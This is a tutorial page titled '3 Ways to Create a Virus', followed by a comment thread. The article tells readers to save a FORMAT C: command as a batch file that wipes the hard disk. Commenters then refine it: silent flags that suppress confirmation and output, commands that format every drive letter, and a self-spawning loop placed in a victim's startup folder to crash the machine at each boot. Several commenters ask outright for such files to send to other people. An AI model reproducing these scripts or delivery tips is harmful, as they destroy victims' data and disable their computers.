3 Ways to Create a Virus

3 Ways to Create a Virus
I know this is going to be controversial. This is for informational purposes only. DO NOT spread or release the viruses created in this article. This will land you in jail. I am going to teach you how to create a virus. One very basic batch virus to code yourself and two virus construction kits.

DO NOT RELEASE THESE VIRUSES.

Congress shall make no law respecting an establishment of religion, or prohibiting the free exercise thereof; or abridging the freedom of speech, or of the press... Right?

I do not believe this to be a violation of the Instructables TOS, as I discourage you from releasing the viruses and I do not give you the viruses, I simply tell you how to create them.
 
Remove these adsRemove these ads by Signing Up
 

Step 1DIY (very) Basic Batch Script That Does Essentially Nothing

DIY (very) Basic Batch Script That Does Essentially Nothing
Please note new title. You may wish to skip to the next step.

What you should do here is to open a window of notepad. Enter
FORMAT C: 

and save the file as disk_destroyer_basic.bat.

This won't spread or do anything fancy. It will just wipe your hard disk. There are a few quirks to be worked out with this method, but like I said, informational purposes only.
« Previous StepDownload PDFView All StepsNext Step »
544 comments
1-40 of 544next »
Nov 26, 2008. 4:12 PMi need ur help says:
who can make or get the best virus on this site ?????????????????????????????????????????????????????????????/
Apr 5, 2009. 5:33 PMemblem of faith says:
HELLO people out there! ALL OF YOU that are trying to destroy others computer please please RECONSIDER!! it is sure that whatever we are posting here in this website whatever is being watched......so .....?? anyway every one here is welcome for my suggestion ,however REMEMBER that iam not a programmer ,and will help whatever i can..........lol!! let us shout "KNOWLEDGE SHOULD BE FREE TO ACCESS" I BELEIVE IT AND WANT EVERY ONE OF YOU TO ACOMPANY ME!!..................................................... ********THANK YOU FRIENDS FOR YOUR TIME*************************
Aug 31, 2011. 7:20 AMNewGod says:
okay whats ur email
Apr 24, 2009. 4:13 PMgrega30 says:
HELLO i am kind of new here,can u help?
Apr 22, 2009. 9:41 AMenglis says:
how do u create the bes virus
Feb 9, 2010. 10:29 AMBlackHoleMan says:
 Firstly you should learn assembly language. Using this you can override most computer settings and create a virus... or even a virus creator that will release new viruses.
Apr 20, 2009. 12:20 PMzachht111 says:
'emblem of faith' is right. Why would you upload a virus just to hurt other people? it doesnt even make sense..................
Jul 14, 2009. 8:18 PMkunal_smartfriend says:
dear, i think u r right....
May 8, 2009. 4:09 AMchamp Here says:
hiiii kya tum muje bata sakte ho ki how to create a virus .plzzzzzzzzzzzzzzz......... if u dont mind ................
Feb 11, 2010. 4:00 PMLightzOut says:
This is not available to use with 64bit windows 7.
Feb 11, 2010. 3:49 PMLightzOut says:
Hey hackers :D
Im 16 and havent a clue about creating my own hack, i know theres ones you just type in notepad and save as .bat and hundreds of other file extensions.
I was wondering how do I learn to hack? xD As in the serious stuff firewalls etc just for educational purposes (: . I understand it'll take years and years of practice, but where should I begin? Which are the best languages i should learn? c++?
My email is breakfloortf2@hotmail.co.uk
Thanks

- John (:
Apr 28, 2008. 2:53 AMWoR says:
how is format C: going to do anything if your running windows off that partition? It won't let you... Also, what about the confirmation? It asks you if you really want to format that partition and that all data will be lost (duh)... So basically the way it is now the person would get a box popped up asking them if they want to erase everything... . yea, should work swell..
Jun 2, 2008. 7:24 AMboxerdog says:
If you type the following: format /q C:\ It will not ask you to confirm the delete.
Mar 24, 2009. 9:10 AMismaelplague says:
i think is supposed to be format c:\ /q
Feb 9, 2010. 10:30 AMBlackHoleMan says:
 correct.
Jul 8, 2009. 6:31 PMNetDex says:
There are viruses on those virus makers.
Feb 9, 2010. 10:14 AMBlackHoleMan says:
 Nope. Your antivirus programs recognise this as a virus due to the fact that it contains viral codes, but these will not do anything unless you actually make a virus and run it.
May 27, 2009. 11:58 AM01kgunn says:
The ultimate virus would play "Never Gonna Give You Up" on loop... The ultimate rickroll!
Feb 9, 2010. 10:12 AMBlackHoleMan says:
It's actually easy to make such a virus...
Nov 16, 2009. 8:27 PMjwalker123 says:
EPIC!!
Aug 5, 2008. 5:11 PMdbmccalmon says:
can someone provide me with a virus that i can send through an email that will wipe out his whole harddive and leave all data unrecoverable,dbmccalmon@gmail.com
Feb 9, 2010. 10:02 AMBlackHoleMan says:
 nope. all data on a wiped hard drive may be recovered in a suitable lab.
Aug 12, 2008. 2:41 PMrunescapeuser93 says:
can someone send a virus that will crash the whole computer and perhaps wipe everything to this e-mail blazed_up_brother2@hotmail.com.
Feb 9, 2010. 10:01 AMBlackHoleMan says:
 Crash the computer? Easy! Just type this into notepad:
:A
start
start
start
goto A

then save it as all file types, and at the end of the filename put .bat , then simply put in the victims startup folder, and the computer will crash every time windows is turned on
Aug 12, 2008. 7:32 PMarmstrong123 says:
if you know somebody that does send an email that erases the hard drive or blowup the computer, let me know, so you can send it to this email: luisa_gar-her@hotmail.com thanks and let me know ehehehe
Dec 5, 2007. 9:18 PMformica says:
you can automatically perform a format by using the following: format c: /autotest it won't ask you anything, and if you make it like this: format c: /autotest > nul it won't even show you anything, all you will see if hard drive activity Having said that, this "virus" is pretty lame.
Aug 6, 2008. 3:36 AMcykwong says:
is there any this kind of "virus" in the form of jpg or excel embedded?
Feb 9, 2010. 9:57 AMBlackHoleMan says:
 Definitely, go download a virus creator from VX Heavens and you'll be able to create a jpg or excel virus. Even a word document virus!
Sep 3, 2008. 9:57 AMnukemm33 says:
I don't know about jpg but you can create a "virus" using VBA in excel. Although, they will have to enable macros in order for it to run.
Sep 17, 2008. 6:30 AMBatchMan says:
the jpeg vir is impossable, it's just a bunch of 1s and 0s
Sep 26, 2008. 8:36 PMac1D says:
jpeg virus(not really virus, but malware) are popular!
Sep 17, 2008. 2:58 PMformica says:
Everything on a computer is '1's and '0's. You right click on a JPG file that you took from a camera, and have a look at teh Summary information. You will most likely see the model of camera that you took it with, the date you took it and alot of other information. It's called stenography, look it up. Nothing is impossible.
Apr 21, 2009. 8:16 AMenglis says:
will FORMAT C work???
Feb 9, 2010. 9:49 AMBlackHoleMan says:
 No. You need to put FORMAT C:
Another reason to put FORMAT C: -y is that just FORMAT C: asks the user if they want to wipe their ow hd, to which they will say no. FORMAT C: -y will perform the same operation, but without needing confirmation.
Feb 5, 2008. 6:04 AMhq says:
this will format the hard drive with out the person knowing stupid @echo off DEL C:\ -y DEL D:\ -y FORMAT C:\ -y no need to thank me
Feb 28, 2009. 11:27 PMgreatdon says:
hello kindly tell me that will it format all the partitions of the hard drive or not i want such a virus which can destroy whole data of a hard drive so kindly give me any method to create it or help me by other means my email address is sabexel@gmail.com i hope u will contact me soon
May 11, 2009. 6:03 PMthinker says:
for a simple format of C drive "@echo off format C: -y" will work when saved as a .bat file name of your choice for multiple hardrives generally its best if you find the number of hardrives on the machine and change the code for that, simply copypasting the "format C: -y" line starting with the partitions, then ending at the partition currently being used or C drive as far as i know it wont technically work for multiple partitions, but as it wipes the core sector of the hardrive, unless they professionally recover it (will have to pay lots of money for ), they wont be able to view, access or know the data is not corrupted, so for all intents and purposes the hardrive will be dead also "format C: \q" also works i believe
Feb 9, 2010. 7:57 AMBlackHoleMan says:
 That will only format the C: partition of the drive. To ensure all partitions and drives are destroyed you would have to write
@ echo off
format A: -y
format B: -y

and so on for all the letters of the alphabet. This will not only wipe all the partitions on the computers main drive, but also any other devices connected to it, such as usb sticks, cds and external hard drives.

Feb 17, 2009. 4:29 PMnerdswithswag says:
do i just type this into run
Feb 9, 2010. 9:46 AMBlackHoleMan says:
 Nope. You type all this into notepad, click save as, change the file type to all files and after the name you call the file you put .bat , then you can save it, and when you open it, the command will be executed
1-40 of 544next »

Pro

Get More Out of Instructables

Already have an Account?

close

All Steps Viewing
View all steps of an Instructable on the same page when you're a Pro Member.

Upgrade to Pro today!
8
Followers
2
Author:Ouch